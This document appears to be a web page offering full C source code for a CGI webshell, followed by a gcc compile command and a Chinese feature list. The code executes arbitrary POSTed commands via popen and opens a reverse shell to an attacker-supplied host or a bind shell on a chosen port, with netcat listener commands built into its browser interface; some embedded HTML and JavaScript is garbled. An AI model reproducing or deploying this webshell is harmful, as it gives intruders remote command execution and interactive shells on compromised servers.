cgi 쉘을 구현하는 Linux C 코드

C语言实现cgi webshell

#include <stdio.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
  
 
  
struct get_data {
    char key[100];
    char value[100];
};
  
  
void exec_cmd(void){
    printf("Content-type:text/html\n\n");
    FILE *command;
    int size = atoi(getenv("CONTENT_LENGTH"));
    if(size > 1500) {
        printf("Error> Post Data is very big");
        exit(0);
    }
    char *buffer = malloc(size+1);
    fread(buffer,1,size,stdin);
    command = popen(buffer,"r");
    char caracter;
  
    while((caracter = fgetc(command))){
        if(caracter == EOF) break;
        printf("%c",caracter);
    }
  
    pclose(command);
    free(buffer);
    exit(0);
}
  
int error(char *err){
    perror(err);
    exit(EXIT_FAILURE);
}
  
void parser_get(void){
    printf("Content-type:text/html\n\n");
  
    struct get_data *s;
    char *GET = (char *)getenv("QUERY_STRING");
    int i,number_of_get = 0,size_get = strlen(GET);
  
    if(strlen(GET) > 100)
        exit(0);
  
    s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));
  
    int element = 0;
    int positionA = 0;
    int positionB = 0;
    int id = 0;
  
    for(i=0;i<size_get;i++){
        if(GET[i] == &#39;=&#39;){
            id = 1;
            s[element].key[positionA] = &#39;\0&#39;;
            positionB = 0;
            continue;
        }
  
        if(GET[i] == &#39;&&#39;){
            id = 0;
            s[element].key[positionA] = &#39;\0&#39;;
            s[element].value[positionB] = &#39;\0&#39;;
            positionA = 0;
            positionB = 0;
            element++;
            continue;
        }
  
        if(id==0){
            s[element].key[positionA] = GET[i];
            positionA++;
        }
  
        if(id==1){
            s[element].value[positionB] = GET[i];
            positionB++;
        }
  
        if(i == size_get-1 && GET[size_get-1] != &#39;&&#39;){
            s[element].key[positionA] = &#39;\0&#39;;
            s[element].value[positionB] = &#39;\0&#39;;
            element++;
            continue;
        }
  
  
    }
  
    char *host_x = (char *)malloc(100);
    host_x = NULL;
    char *type_x = (char *)malloc(100);
    type_x = NULL;
    int port_x = 0;
  
    for(i=0;i<element;i++){
        if(strcmp(s[i].key,"type")==0)
            type_x = s[i].value;
        else if(strcmp(s[i].key,"host")==0)
            host_x = s[i].value;
        else if(strcmp(s[i].key,"port")==0)
            port_x = atoi(s[i].value);
    }
  
    free(s);
  
    if(type_x == NULL){
        free(type_x);
        free(host_x);
        exit(0);
    }
  
    if( (strcmp(type_x,"")==0) || port_x <= 0 || port_x > 65535){
        printf("Something is wrong ... !!!");
        free(type_x);
        free(host_x);
        exit(0);
    }
  
    if((strcmp(type_x,"reverse")==0) && (strcmp(host_x,"")==0)){
        printf("You must specify a target host ...");
        free(type_x);
        free(host_x);
        exit(0);
    }
  
    if(strcmp(type_x,"reverse") == 0){
        struct sockaddr_in addr;
        int msocket;
        msocket = socket(AF_INET,SOCK_STREAM,0);
  
        if(msocket < 0){
            printf("<font color=&#39;red&#39;>Fail to create socket</font>");
            free(host_x);
            free(type_x);
            exit(0);
        }
  
        addr.sin_family = AF_INET;
        addr.sin_port = htons(port_x);
        addr.sin_addr.s_addr = inet_addr(host_x);
  
        memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
  
        if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){
            printf("<font color=&#39;red&#39;>Fail to connect</font>\n");
            free(host_x);
            free(type_x);
            exit(0);
        }
  
        printf("<font color=&#39;006600&#39;>Connect with sucess !!!</font>\n");
  
        if(fork() == 0){
            close(0); close(1); close(2);
            dup2(msocket, 0); dup2(msocket, 1); dup2(msocket,2);
            execl("/bin/bash","bash","-i", (char *)0);
            close(msocket);
            exit(0);
        }
  
        free(host_x);
        free(type_x);
        exit(0);
    } else if (strcmp(type_x,"bind")==0) {
  
        int my_socket, cli_socket;
        struct sockaddr_in server_addr,cli_addr;
  
        if ((my_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1){
            printf("<font color=&#39;red&#39;>Fail to create socket</font>");
            exit(1);
        }
  
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port_x);
        server_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(server_addr.sin_zero), 8);
  
        int optval = 1;
        setsockopt(my_socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);
  
  
        if (bind(my_socket, (struct sockaddr *)&server_addr, sizeof(struct sockaddr))== -1){
            printf("<font color=&#39;red&#39;>Fail to bind</font>");
            free(host_x);
            free(type_x);
            exit(1);
        }
  
        if (listen(my_socket, 1) < 0){
            printf("<font color=&#39;red&#39;>Fail to listen</font>");
            free(host_x);
            free(type_x);
            exit(1);
        } else {
            printf("<font color=&#39;006600&#39;>Listen on port %d</font>\n",port_x);
        }
  
        if(fork() == 0){
            socklen_t tamanho = sizeof(struct sockaddr_in);
  
            if ((cli_socket = accept(my_socket, (struct sockaddr *)&cli_addr,&tamanho)) < 0){
                exit(0);
  
            }
  
            close(0); close(1); close(2);
            dup2(cli_socket, 0); dup2(cli_socket, 1); dup2(cli_socket,2);
  
            execl("/bin/bash","bash","-i",(char *)0);
            close(cli_socket);
  
        }
  
    }
    free(host_x);
    free(type_x);
    exit(0);
}
  
void load_css_js(void){
printf("<style type=\"text/css\">\n\
#page-wrap {\n\
    margin: 20px auto;\n\
    width: 750px;\n\
}\n\
\n\
h1 {\n\
    font-family: Impact, Charcoal, sans-serif;\n\
    text-shadow: -1px 0 black, 0 1px black,\n\
     1px 0 black, 0 -1px black;\n\
    color: gray;\n\
    border: #00ff00;\n\
}\n\
\n\
body {\n\
    background-color: white;\n\
}\n\
\n\
input[type=\"text\"] {\n\
    margin-bottom: 10px;\n\
    border: 1px solid gray;\n\
    color: black;\n\
    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
}\n\
\n\
hr {\n\
    color: gray;\n\
}\n\
\n\
input[type=\"submit\"],input[type=\"button\"] {\n\
    margin-bottom: 10px;\n\
    border: 1px solid gray;\n\
    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
}\n\
\n\
#bind_reverse {\n\
    display:none;\n\
}\n\
\n\
label {\n\
    position: relative;\n\
    clear: left;\n\
    float: left;\n\
    width: 15em;\n\
    margin-right: 5px;\n\
    text-align: right;\n\
    margin-top: 5px;\n\
}\n\
\n\
\n\
div.scroll {\n\
    border: 1px solid gray;\n\
    margin-bottom: 10px;\n\
    color: black;\n\
    font-family: Tahoma, sans-serif;\n\
    padding: 5px;\n\
    width: 745px;\n\
    height: 295px;\n\
    overflow: auto;\n\
    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
}\n\
\n\
#cmd_rev {\n\
    position: absolute;\n\
    margin-left: 450px;\n\
    top: 150px;\n\
    width: 250px;\n\
    overflow: auto;\n\
}\n\
\n\
#cmd_bin {\n\
    position: absolute;\n\
    margin-left: 450px;\n\
    top: 300px;\n\
    width: 250px;\n\
    overflow: auto;\n\
}\n\
\n\
#rev_s {\n\
    display:inline;\n\
}\n\
\n\
#bind_s {\n\
    display:inline;\n\
}\n\
</style>\n\
\n\
<script type=\"text/javascript\">\n\
function exec_cmd(){\n\
    var Rrequest = new XMLHttpRequest();\n\
    var cmd_x = document.getElementById(\"xxx\");\n\
\n\
    var result = document.getElementById(\"result\");\n\
\n\
    if(cmd_x.value == &#39;&#39;) return;\n\
    if(cmd_x.value == &#39;clear&#39; || cmd_x.value == &#39;reset&#39;) { result.innerHTML = &#39;&#39;; return; }\n\
    var vv = cmd_x.value;\n\
\n\
    vv = vv.replace(/</g,\"&#60\");\n\
    vv = vv.replace(/>/g,\"&#62\");\n\
\n\
    result.innerHTML += \"<pre class="brush:php;toolbar:false"><b>\\$</b> \"+vv+\"

\";\n\     var bodyx = '';\n\ \n\     Rrequest.open(\"POST\",window.location.href,true);\n\     Rrequest.setRequestHeader(\"Content-type\",\"text/plain\");\n\     Rrequest.send(cmd_x.value);\n\ \n\     Rrequest.onreadystatechange = function(){\n\         if(Rrequest.status == 200){\n\             if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n\                 var complete_cont = Rrequest.responseText;\n\                 complete_cont = complete_cont.replace(/,\"<\");\n\                 complete_cont = complete_cont.replace(/>/g,\">\");\n\                 result.innerHTML += '

'+complete_cont+'

';\n\                 result.scrollTop = result.scrollHeight;\n\             }\n\         } else {\n\             if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n\                 result.innerHTML += \"

<b>error !</b>

\";\n\                 return false;\n\             }\n\         }\n\     }\n\ }\n\ \n\ function load_bind(){\n\     var change_link = document.getElementById(\"change_link\");\n\     var linkz = change_link.innerHTML;\n\ \n\     if(linkz == 'REVERSE/BIND') {\n\         change_link.innerHTML = \"COMMAND LINE\";\n\         document.getElementById(\"cmd_line\").style.display = 'none';\n\         document.getElementById(\"bind_reverse\").style.display = 'block';\n\     }\n\     \n\     else {\n\         document.getElementById(\"bind_reverse\").style.display = 'none';\n\         document.getElementById(\"cmd_line\").style.display = 'block';\n\         change_link.innerHTML = 'REVERSE/BIND';\n\     }\n\ }\n\ \n\ function update_div(su,xxxd){\n\     var status = document.getElementById(xxxd);\n\     if(su.value == 0 || su.value == \"\"){\n\         status.innerHTML = \"\";\n\         return false;\n\     }\n\     if(xxxd == 'cmd_rev') {\n\         status.innerHTML = \"

nc -v -l \"+su.value+\"

\";\n\         return true;\n\     }\n");     printf("\tvar server_ip = '%s';\n",getenv("SERVER_ADDR"));     printf("\tstatus.innerHTML = \"

nc -v \"+server_ip+\" \"+su.value+\"

\";\n\     return true;\n\ }\n\ \n\ function change_div(ev,field){\n\     if(ev.keyCode == 8 || ev.keyCode == 37 ||\n\     ev.keyCode == 38 || ev.keyCode == 39 || \n\      ev.keycode == 40 || ev.keyCode == 46){\n\         return true;\n\     }\n\ \n\     if(ev.charCode  57){\n\         return false;\n\     }\n\     \n\     if(field.value > 65535){\n\         return false;\n\     }\n\     return true;\n\ }\n\ \n\ function connect_xxx(div_t){\n\ \n\     var get_s = '';\n\     if(div_t == 'rev_s'){\n\         var host_rev = document.getElementById(\"host_rev\");\n\         var port_rev = document.getElementById(\"port_rev\");\n\         if(host_rev.value == '' || port_rev == '' ) return false;\n\         get_s = '/?type=reverse&host='+host_rev.value+'&port='+port_rev.value;\n\     } else if(div_t == 'bind_s'){\n\         var port_bind = document.getElementById(\"port_bin\");\n\         if(port_bin.value == '') return false;\n\         get_s = '/?type=bind&port='+port_bin.value;\n\     }\n\ \n\     var target_div = document.getElementById(div_t);\n\     target_div.innerHTML = \"Wait ...\";\n\ \n\     var connect_s = new XMLHttpRequest();\n\     connect_s.open(\"GET\",window.location.href+get_s,true);\n\     connect_s.timeout = 3000;\n\     connect_s.ontimeout = function(){\n\         target_div.innerHTML = \"Listen OK !!!\"\n\ }\n\ \n\     connect_s.onreadystatechange = function(){\n\         if(connect_s.status == 200){\n\             if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n\                 target_div.innerHTML = connect_s.responseText;\n\             }\n\         } else {\n\             if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n\                 result.innerHTML += \"<b>error !</b>\";\n\                 return false;\n\             }\n\         }\n\     }\n\ \n\ \n\ \n\     connect_s.send();\n\ \n\ \n\ }\n\ ");    }    int main(void){     if(strcmp(getenv("REQUEST_METHOD"),"POST") == 0) exec_cmd();     if(strcmp(getenv("QUERY_STRING"),"") != 0) parser_get();     printf("Content-type:text/html\n\n");        printf("\n");     printf("\t\n\t\n");     printf("\t\t\n");     load_css_js();     printf("\n\t\n");     printf("\t\n"); printf(" \n\     

\n\     

C - CGI SHELL

C0d3r: <b>webshell</b> | <a>REVERSE/BIND</a>

\n\     

\n\     \n\     
\n\     

\n\     

\n\     

\n\         

<b>Reverse Connection: <div><font>Stop</font></div></b>

\n\         

<label>Host/IP:</label><input>

\n\         

<label>Port:</label><input>

\n\         \n\         

\n\         

---

\n\         

<b>Bind Connection: <div><font>Stop</font></div></b>

\n\         

<label>Port To Listen:</label><input>

\n\         \n\         

\n\     

\n\     

\n\     \n\ \n\ ");     return 0; }

编译：
gcc shell.c -o shell.cgi

功能：
1.反弹获得shell（target作为客户端）

2.监听获得shell（target作为服务端）

3.命令行执行